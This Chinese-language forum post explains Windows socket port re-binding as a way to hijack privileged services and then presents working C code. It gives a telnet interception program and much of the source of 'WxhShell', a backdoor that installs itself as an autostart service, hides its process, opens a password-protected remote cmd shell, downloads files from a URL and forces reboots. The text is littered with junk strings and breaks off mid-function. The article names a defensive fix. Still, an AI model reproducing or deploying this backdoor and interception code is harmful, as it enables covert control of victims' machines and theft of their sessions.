在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n^T,R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/gZyl|kdy [ncK+rGAc saddr.sin_family = AF_INET;
qy3@>
1G =,(TP saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MY@&^71i4 G*@!M%/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_2!8,MX )e,O+w" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Y/FPkH4 h0rPMd(K 这意味着什么?意味着可以进行如下的攻击:
9VnBNuT IQ
I8v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V9<`?[Usv K@O^\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7pyzPc#_ !=YKfzE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
fu^W# "{ 4D0jt$== 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:dSda,!z ! ;t\lgMl 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2]5{Xmmo9 8D*nU3O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
EsMX#1>/m
-BSdrP| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Oo|PZ_P Vb(b3 #include
(.ir"\k1( #include
Db,"Gl #include
-^xbd_' #include
eluN~T:W DWORD WINAPI ClientThread(LPVOID lpParam);
@&ZQDi int main()
yWi-ic
[n {
5G f@n/M" WORD wVersionRequested;
T+<.KvO- DWORD ret;
-!j6& WSADATA wsaData;
q<dG}aj BOOL val;
*5%vU|9b SOCKADDR_IN saddr;
eThaH0 SOCKADDR_IN scaddr;
$eYL|?P50h int err;
KC6Cg?y^ SOCKET s;
. 5(YL8d SOCKET sc;
K& #il int caddsize;
t*gZcw5 r HANDLE mt;
LjI`$r.B DWORD tid;
6Wu*zY_+ wVersionRequested = MAKEWORD( 2, 2 );
.:$(o& err = WSAStartup( wVersionRequested, &wsaData );
8W\yM;' if ( err != 0 ) {
=SfNA
F printf("error!WSAStartup failed!\n");
s<s}6|Z return -1;
)L:zr# }
[IL*}M! saddr.sin_family = AF_INET;
><<>4(eF p @NL cO} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gM&IV{k3 ?b;2PH" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$Nu{c;7" saddr.sin_port = htons(23);
F8f}PV]b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h'y%TOob {
X-c|jn7 printf("error!socket failed!\n");
w4U,7%V
return -1;
X Q#K1Z }
0gd`W{YP val = TRUE;
OETo?Wg1Z //SO_REUSEADDR选项就是可以实现端口重绑定的
3p0v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>h\y1IrAaG {
$DL}jH^S printf("error!setsockopt failed!\n");
q[&Kr+)j return -1;
_K^Q]V[nZ }
qoO`)< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4&}%GH>} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
u 272)@R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Bf utmI paqGW] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
*N">93: {
=;rLv7(a ret=GetLastError();
YM}a>o printf("error!bind failed!\n");
F]aoTy return -1;
M@Th^yF+8H }
:os8" listen(s,2);
*f[5rr4 while(1)
ABWn49c. {
@Zt~b'n caddsize = sizeof(scaddr);
,Z
q:na //接受连接请求
R}nvSerVb sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
v e&d"8+] if(sc!=INVALID_SOCKET)
7>N~l {
/8x';hQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
azP H~'E' if(mt==NULL)
lsz3'!%Y) {
Rx-\B$G printf("Thread Creat Failed!\n");
fN&,.UB^p break;
Bs "D<r&ro }
m2PUU/8B/ }
$*#a;w7\C CloseHandle(mt);
%HUex
6! }
aAg Qv* closesocket(s);
fAsb:P WSACleanup();
U,Z\)+-R return 0;
(RddR{mX }
lvW
T DWORD WINAPI ClientThread(LPVOID lpParam)
&jE\D^>ko {
I!lDKS,b SOCKET ss = (SOCKET)lpParam;
YX$(Sc3.6 SOCKET sc;
)~
(*q unsigned char buf[4096];
$ev+0m_ SOCKADDR_IN saddr;
Bqf(6\)F long num;
&<A,\M DWORD val;
C[J9 =!t DWORD ret;
-D`1z?zHra //如果是隐藏端口应用的话,可以在此处加一些判断
1oQw)X //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/<rvaR saddr.sin_family = AF_INET;
J"`VA_[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
EF0v!XW saddr.sin_port = htons(23);
giakEPl if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
YYWD\Y`8 {
> mb}~wx` printf("error!socket failed!\n");
F>fCp return -1;
w!F>fcm }
O_FB^BB val = 100;
Nk'<*;e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4MgN {
OX_y"]utU ret = GetLastError();
+_5*4>MC return -1;
^^a6 (b }
.5|[gBK if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,PeR}E;c {
~y<0Cc3Vs ret = GetLastError();
thjr1y.e return -1;
tOIqX0dWd }
r h*F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
htBA.eQ {
)lG}B U. printf("error!socket connect failed!\n");
>h7(kj: closesocket(sc);
yE:y[k0E closesocket(ss);
j~q 7v
`": return -1;
y=Y k$:-y }
Zxebv#4 while(1)
:?M_U;;z2+ {
DQG%`-J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\c_g9Iqa //如果是嗅探内容的话,可以再此处进行内容分析和记录
qc8Ge\3s //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
x3+
-wv num = recv(ss,buf,4096,0);
M':-f3aT% if(num>0)
V:\:[KcL^ send(sc,buf,num,0);
`B%%2p& else if(num==0)
v;,W ^#` break;
wm5&5F4: num = recv(sc,buf,4096,0);
I}`pY3 if(num>0)
)N.3Q1g- send(ss,buf,num,0);
)OI}IWDl else if(num==0)
kckRHbeU break;
DyC*nE; }
1Lb)S@Q`*R closesocket(ss);
<Lb LMV closesocket(sc);
K[T0);hZR return 0 ;
VVJ0?G
(? }
j7}mh 5rsz2;#p &^`Wtd~g ==========================================================
%\JGDM*m ?C|'GkT 下边附上一个代码,,WXhSHELL
SU0Ss gFB g[} L
? ==========================================================
Fb,*;M1' #}7T$Va #include "stdafx.h"
HPtMp#`T wd`p> #include <stdio.h>
AiHU*dp6 #include <string.h>
%]P{)*y-? #include <windows.h>
&y?
|$p\;/ #include <winsock2.h>
:8yebOs #include <winsvc.h>
N9-0b #include <urlmon.h>
rJiF2 W @76}d #pragma comment (lib, "Ws2_32.lib")
E@ea?Sx #pragma comment (lib, "urlmon.lib")
#2]*qgA4 SeHrj&5U #define MAX_USER 100 // 最大客户端连接数
72l:[5ccR #define BUF_SOCK 200 // sock buffer
}a" =K%b<\ #define KEY_BUFF 255 // 输入 buffer
A$2
;Bf 7$*E0 #define REBOOT 0 // 重启
Tvv>9gS #define SHUTDOWN 1 // 关机
]]|#+$ ~ SdnnXEB7 #define DEF_PORT 5000 // 监听端口
y[7M(K ,
z\Qd07u #define REG_LEN 16 // 注册表键长度
?mNB:-Q #define SVC_LEN 80 // NT服务名长度
3zsp6k V 1>*oN // 从dll定义API
N@thewt| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^Gk)aX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&eMd^l}:# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
tl dK@!E3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
aE0R{yup Z m*
3ipI{h // wxhshell配置信息
8g-u struct WSCFG {
%n$f#Ml_r int ws_port; // 监听端口
[{Wo:c9Qq1 char ws_passstr[REG_LEN]; // 口令
"}()/ int ws_autoins; // 安装标记, 1=yes 0=no
qc(e3x char ws_regname[REG_LEN]; // 注册表键名
)>~jjR char ws_svcname[REG_LEN]; // 服务名
3EY Ed39E char ws_svcdisp[SVC_LEN]; // 服务显示名
z</C)ObL char ws_svcdesc[SVC_LEN]; // 服务描述信息
f0P,j~] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
JSUD$|RiJ int ws_downexe; // 下载执行标记, 1=yes 0=no
b%lH=u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!Q\*a-C char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0MRWx%CR !/G}vu };
V7WL Gy., "G%S
m") // default Wxhshell configuration
,$`}Rf< struct WSCFG wscfg={DEF_PORT,
t?9J'.p "xuhuanlingzhe",
?)9L($VVD 1,
+2MF#{ tS "Wxhshell",
EMnz;/dMt "Wxhshell",
dNR/| "WxhShell Service",
;bwBd:Y "Wrsky Windows CmdShell Service",
nc1~5eo "Please Input Your Password: ",
+pYgh8w@ 1,
WWSycH
?[ "
http://www.wrsky.com/wxhshell.exe",
4}C
\N "Wxhshell.exe"
L9) gN.# };
y],opG6 "6C
a{n1hk // 消息定义模块
q:kGJxfaW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5&%M L char *msg_ws_prompt="\n\r? for help\n\r#>";
d5-Q}D,P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2#NnA3l]x% char *msg_ws_ext="\n\rExit.";
ObM/~{rKx char *msg_ws_end="\n\rQuit.";
Xc[ym char *msg_ws_boot="\n\rReboot...";
IhzY7U)}T char *msg_ws_poff="\n\rShutdown...";
ou0TKE9
_ char *msg_ws_down="\n\rSave to ";
_1)n_P4 A@o7 char *msg_ws_err="\n\rErr!";
YC;@ ^ char *msg_ws_ok="\n\rOK!";
\JPMGcL a=$ZM4Bn char ExeFile[MAX_PATH];
_wXT9`|3 int nUser = 0;
}V]*FCpQ HANDLE handles[MAX_USER];
L4^/O29 int OsIsNt;
8b0j rt ?5't1219 SERVICE_STATUS serviceStatus;
d"5_x]Z; SERVICE_STATUS_HANDLE hServiceStatusHandle;
IZrcn Ch{6=k bK // 函数声明
&n,v@
gt int Install(void);
0`zdj int Uninstall(void);
oi`L ;w|] int DownloadFile(char *sURL, SOCKET wsh);
,R=!ts[qi int Boot(int flag);
-W6@[5 c void HideProc(void);
sDs.da#*2 int GetOsVer(void);
Sm[#L`eqW int Wxhshell(SOCKET wsl);
hqeknTGsIn void TalkWithClient(void *cs);
+6>2= ,?Z int CmdShell(SOCKET sock);
SN)Czi#7
int StartFromService(void);
GTOA>RB2 int StartWxhshell(LPSTR lpCmdLine);
N5)H(<} AAfhh5i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
gK~Z Ch VOID WINAPI NTServiceHandler( DWORD fdwControl );
MMk9rBf 2Bi]t%<{ // 数据结构和表定义
i-w<5pGnf SERVICE_TABLE_ENTRY DispatchTable[] =
lZ5-lf4 {
^XeJZkLEB {wscfg.ws_svcname, NTServiceMain},
Ur 1k3 {NULL, NULL}
^jL44?W}l };
m\*ca3$ bv <^zuV // 自我安装
?1g`'q@T% int Install(void)
Zz (qc5o,F {
_*=4xmB.= char svExeFile[MAX_PATH];
UxMy8}w!y HKEY key;
#&uajo strcpy(svExeFile,ExeFile);
c1kV}-v (XR}U6^v] // 如果是win9x系统,修改注册表设为自启动
1/\Xngd if(!OsIsNt) {
`hY%HzV= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Qxy~%;X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
DEu0Z RegCloseKey(key);
!0^4D=dO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
el<Gd.p.d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1\Bh-tzB RegCloseKey(key);
auIW>0?} return 0;
5Bq;Vb }
d$o m\@ }
KUPQ6v } }
|H=5Am else {
n[y=DdiKGS p]X+#I< // 如果是NT以上系统,安装为系统服务
D*46,>Tv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~{g/ if (schSCManager!=0)
m.6uLaD"!} {
Ib2&L SC_HANDLE schService = CreateService
m; =S]3P* (
c>c3qjWY/ schSCManager,
nzxHd7NIZ wscfg.ws_svcname,
!p ~.Y+ wscfg.ws_svcdisp,
o9ys$vXt* SERVICE_ALL_ACCESS,
#2\M(5d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-mO<(wfV> SERVICE_AUTO_START,
x-@?:P* SERVICE_ERROR_NORMAL,
6(\-aH'Ol svExeFile,
G~_eBy NULL,
8WLh7[ NULL,
I_Z?'M NULL,
^4JK4+!Zfq NULL,
`6Q+N=k~Z NULL
aA*h * );
XmO]^ ` if (schService!=0)
6qV1_M# {
~K)FuL[* CloseServiceHandle(schService);
6t<[- CloseServiceHandle(schSCManager);
X,M!Tp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~D/Lo$K" strcat(svExeFile,wscfg.ws_svcname);
IY~I=} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}|-8-; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
B~Z61 RegCloseKey(key);
3>5gh8!- return 0;
J#w=Z>oz < }
WSF$xC/~ }
1mh7fZgn CloseServiceHandle(schSCManager);
k,OxGG }
C<QpUJ`k }
7!o#pt7 1A(f_ 0,.Q return 1;
}>f%8O} }
(.z0.0W 3?gfDJfE // 自我卸载
|J-tU)|1vl int Uninstall(void)
$D^27q:H {
]9<H[5>$R HKEY key;
!#5y%Bf \'w.<)(GI if(!OsIsNt) {
w4^$@GtN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^eV K. RegDeleteValue(key,wscfg.ws_regname);
$+{o* RegCloseKey(key);
4*n1Xu7^x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B'B0 e` RegDeleteValue(key,wscfg.ws_regname);
>)[W7h RegCloseKey(key);
3<Z@!ft8 return 0;
0aGauG[ }
N1>M<N03 }
z{NK(oW }
ca,JQrm else {
cy8r}wD GAR6nJCz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
IAmMO[9H if (schSCManager!=0)
(Q&jp!WU {
isnpSN"z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Mu" vj*F if (schService!=0)
X)TZ S {
_s=<Y^l%x if(DeleteService(schService)!=0) {
/K,@{__JP CloseServiceHandle(schService);
|e+r~).4B CloseServiceHandle(schSCManager);
su60j^e* return 0;
EcR[b@YI }
t1#f*G5 CloseServiceHandle(schService);
vl`St$$| }
\WUCm.w6\% CloseServiceHandle(schSCManager);
*=%`f= }
/byF:iYI }
'oBv(H ldKLTO*& return 1;
B( wi+; }
Py9:(fdS -&y&b- // 从指定url下载文件
I$TD[W int DownloadFile(char *sURL, SOCKET wsh)
s,laJf {
Q."rE"}< HRESULT hr;
FGo)]U char seps[]= "/";
Me+)2S 9 char *token;
/PBK:B char *file;
a5]]AkvA
char myURL[MAX_PATH];
!$-QWKD4 char myFILE[MAX_PATH];
poZ&S pL.~z strcpy(myURL,sURL);
v`jFWq8I, token=strtok(myURL,seps);
"LZv\c~v,% while(token!=NULL)
3\B~`=*q/ {
LKud' file=token;
!?B2OE token=strtok(NULL,seps);
~W gO{@Mw }
r_V^sX Ys5Iqj=mp GetCurrentDirectory(MAX_PATH,myFILE);
gF M~M( strcat(myFILE, "\\");
;UQ&yj%x strcat(myFILE, file);
'
b,zE[Q send(wsh,myFILE,strlen(myFILE),0);
T !pHT'J send(wsh,"...",3,0);
9\r5&#<(I hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*;
6LX if(hr==S_OK)
-,"eN}P^ return 0;
8?o{{ay else
e A9r M: return 1;
FxX nX [!#;QQ&M }
U,`F2yD/! KXo[;Db)k // 系统电源模块
{*Qx^e`h$. int Boot(int flag)
`LWb L*;Y0 {
y|#Fu HANDLE hToken;
\FIOFbwe TOKEN_PRIVILEGES tkp;
z)FGbX !`dn# j if(OsIsNt) {
rIj B{X{Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
({t6Cbw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
( 2KopL tkp.PrivilegeCount = 1;
I \6^]pi, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
B{Lzgw u; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L<N=,~ if(flag==REBOOT) {
$I3}%'`+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}Do$oyAV$G return 0;
IkLcL8P^ }
E-#}.}i5 else {
a&`Lfw" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]u
>~: return 0;
)}\J }
n6GB2<y }
rdm&YM`J else {
,HW[l.v if(flag==REBOOT) {
eOd'i{f@F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
X4v0>c return 0;
OWHHN< }
UZW)% else {
14Jkr)N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
n\4sNoFI return 0;
xNxSgvco, }
Z
uO
7N }
+r]2. vj<JjGP return 1;
b U>.Bp] }
, *Z!Bd8 <3bFt [ // win9x进程隐藏模块
Ykj+D7rA: void HideProc(void)
qmGLc~M0 {
EYKV}` RMxFo\TK; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
K!SFS if ( hKernel != NULL )
y$HV;%G{26 {
NB)22 % pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<SNu`,/I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(yhnv Z FreeLibrary(hKernel);
MvlqxJ$ }
oei2$uu #;>v,Jo return;
]KRw[}z }
2xpI|+a% YZ^;xV // 获取操作系统版本
HY7#z2L int GetOsVer(void)
b(:U]>J {
WQYw@M~4Q! OSVERSIONINFO winfo;
fnU;DS]W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#uH%J<U GetVersionEx(&winfo);
(wZ/I(4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
S8)6@ECC return 1;
Jm*wlN
[> else
yK:b$S return 0;
b*"%E,? }
+T]D\];D &qae+p? // 客户端句柄模块
[#C(^J*@c int Wxhshell(SOCKET wsl)
.L}k-8 {
5g;i{T/6~x SOCKET wsh;
|]x>|Z?/u struct sockaddr_in client;
CR'1, DWORD myID;
j
q1|`: >Y"Ru#Ju9 while(nUser<MAX_USER)
Dt*/tVF {
X< p KAO\ int nSize=sizeof(client);
Y`!Zk$8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
di]TS9&9 if(wsh==INVALID_SOCKET) return 1;
5X,|Pn rE$=~s handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~k'SP(6#C if(handles[nUser]==0)
#Q61c closesocket(wsh);
'P3jUc) else
z[0B"f nUser++;
}w/6"MJ[n }
4,qhWe`/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
jq12,R2+)
{Z(kzJwN return 0;
tsN,yI]-VA }
&O.lIj#FR =2.q=a|' // 关闭 socket
[,/~*L;7 void CloseIt(SOCKET wsh)
*t,1(Gw|7q {
,\=,,1_ closesocket(wsh);
n]fMl:77 nUser--;
{E$smX ExitThread(0);
6k*,Yei }
Ni-@El99 g.T:72" // 客户端请求句柄
swLrp
74 void TalkWithClient(void *cs)
#8qhl {
U/9_: \*5${[ SOCKET wsh=(SOCKET)cs;
8t
>nL char pwd[SVC_LEN];
6_kv~`"t Z char cmd[KEY_BUFF];
nb}rfd. char chr[1];
-|_MC^) int i,j;
{>n\B~*,"C %,Lv},%Y while (nUser < MAX_USER) {
M.?[Xpa B6xM#) if(wscfg.ws_passstr) {
oZ,_ G,b^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sA!$}W //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
, IDCbJ //ZeroMemory(pwd,KEY_BUFF);
JBt2R= i=0;
TNkvdE-S while(i<SVC_LEN) {
fuF!3Q .6[7D // 设置超时
/l1OC(hm fd_set FdRead;
VHqHG`}: struct timeval TimeOut;
/Xk-xg+U FD_ZERO(&FdRead);
25{-GaB FD_SET(wsh,&FdRead);
aK33bn'j TimeOut.tv_sec=8;
^c| _%/ TimeOut.tv_usec=0;
&r)[6a$fW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1V:I}~\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
iqr/MB,W omzG/)M:O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
K26`wt pwd
=chr[0]; Zi=/w
if(chr[0]==0xd || chr[0]==0xa) { y$[:Kh,
pwd=0; ;9$71E
break; K$/&C:,Q
} &$g{i:)Z
i++; ;7E
c'nC4
} 2xK v;
y,s`[=CT
// 如果是非法用户,关闭 socket h yK&)y?~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f@Yo]F U
} ?!HU$>
_9:r4|S
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W.CbNou
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d J>~
7!U^?0?/
while(1) { `i<omZ[aT
@|([b r|O
ZeroMemory(cmd,KEY_BUFF); :T )R;E@
WT63ve
// 自动支持客户端 telnet标准 a(uZ}yS$
j=0; V@rqC[on
while(j<KEY_BUFF) { ->L> `<7(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LR#BP}\b'
cmd[j]=chr[0]; %%FzBbWAO
if(chr[0]==0xa || chr[0]==0xd) { D9h
cmd[j]=0; yQ0:M/r;0
break; Q@KCODi
} we8aqEomr
j++; ?kdan
} <.".,Na(J0
i936+[
// 下载文件 &&g02>gE
if(strstr(cmd,"http://")) { f~ wgMp.W0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f0&%
if(DownloadFile(cmd,wsh)) Q$(Fma 4a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZeLed[J^xJ
else ,49Z/P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bEm9hFvd
} 8PR\a!"
else { 7@
\:l~{
lHAWZyO
switch(cmd[0]) { ^!fY~(=U4
V]NCFG
// 帮助 ^B:;uyG]M
case '?': { VwOcWKD
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JED\"(d(
break; YD;G+"n?T
} g%<n9AUl
// 安装 ]f_`w81[
case 'i': { h0$Y;=YA
if(Install()) 6EeO\Qj{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |j~l%d*<w
else 9l(T>B2a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vUCmm<y
break; ;5DDV6
} \PWH(E9
// 卸载 Wdi`ZE
case 'r': { 0SDnMij&bf
if(Uninstall()) #%EHcgF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'o~gT ;T#
else (x
fN=Te,-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ``%yVVg}
break; -9::M}^2
} k%BU&%?1
// 显示 wxhshell 所在路径 NfUt\ p*
case 'p': { ,u>[cRqw
char svExeFile[MAX_PATH]; Ec2;?pvd%J
strcpy(svExeFile,"\n\r"); 4*&k~0#t
strcat(svExeFile,ExeFile); Q(36RX%@
send(wsh,svExeFile,strlen(svExeFile),0); V';l H2
break; d6W\
\6V
} P ^ 4 @
// 重启 C;j&Vbf
case 'b': { stUUez>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &d0sv5&s
if(Boot(REBOOT)) $,yAOaa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v&bG`\ !
else { oKb"Ky@s
closesocket(wsh); T+^c=[W
ExitThread(0); c]zFZJ6M
} 3{fg3?
break; A,BYi$
} z0OxJ e
// 关机 c_8<N7 C
case 'd': { 6tFi\,)E
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =r*Ykd;W|E
if(Boot(SHUTDOWN)) sQe
GT)/|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ptf(p`
else { a>x6n3{
closesocket(wsh); /ywP
0
ExitThread(0); g(Q1d-L4e
} z_N";Rn
break; ,yA[XAz~U
} S*$?~4{R
// 获取shell {`Gd
case 's': { T;?k]4.X
CmdShell(wsh); xJ2I@*DN
closesocket(wsh); SiUu**zC
ExitThread(0); yOt#6Vw
break; 1[T7;i$
} [q_+s
// 退出 UKQ"sC
case 'x': { a6-.|tt#t
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r0 )ne|&Hp
CloseIt(wsh); 1Dl6T\20
break; > (9\ cF{
} g4eW<
// 离开 -58q6yA
case 'q': { 9 @xl{S-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); z}B39L
closesocket(wsh); Mx$&{.LFJ
WSACleanup(); ?*%_:fB
exit(1); |/vJ+aKq
break; ykx^RmD`~
} marZA'u%B1
} Z Cjw)To(
} I{jvUYrKH
)9:5?,SO
// 提示信息 (v%24bv
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RQb}t,
} @1Q-.54a
} Pal=I)
OU"%,&J
return; hd u2?v@
} 8M@'A5]
[d8Q AO1;)
// shell模块句柄 tw>2<zmSi%
int CmdShell(SOCKET sock) zD79 M
{ p*&0d@'r
STARTUPINFO si; ?UZt30|1
ZeroMemory(&si,sizeof(si)); ?)y^ [9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +)iMJ]>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z8'1R6nq
PROCESS_INFORMATION ProcessInfo; M{Z
;7n'
char cmdline[]="cmd"; m$kQbPlatN
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lOk8VlH<h
return 0; 9MYk5q.X:
} Cq"KKuf
hU8Y&R)=9
// 自身启动模式 `X}:(O^GO
int StartFromService(void) 0n}13u=}
{ M[gL7-%w\
typedef struct <"J]u@|
{ dy&UF,l6
DWORD ExitStatus; 7l=;I %
DWORD PebBaseAddress; [/UchU]DT
DWORD AffinityMask; *q*3SP/
DWORD BasePriority; $Sgf jm
ULONG UniqueProcessId; +t+<?M B
ULONG InheritedFromUniqueProcessId; :q]9F4im
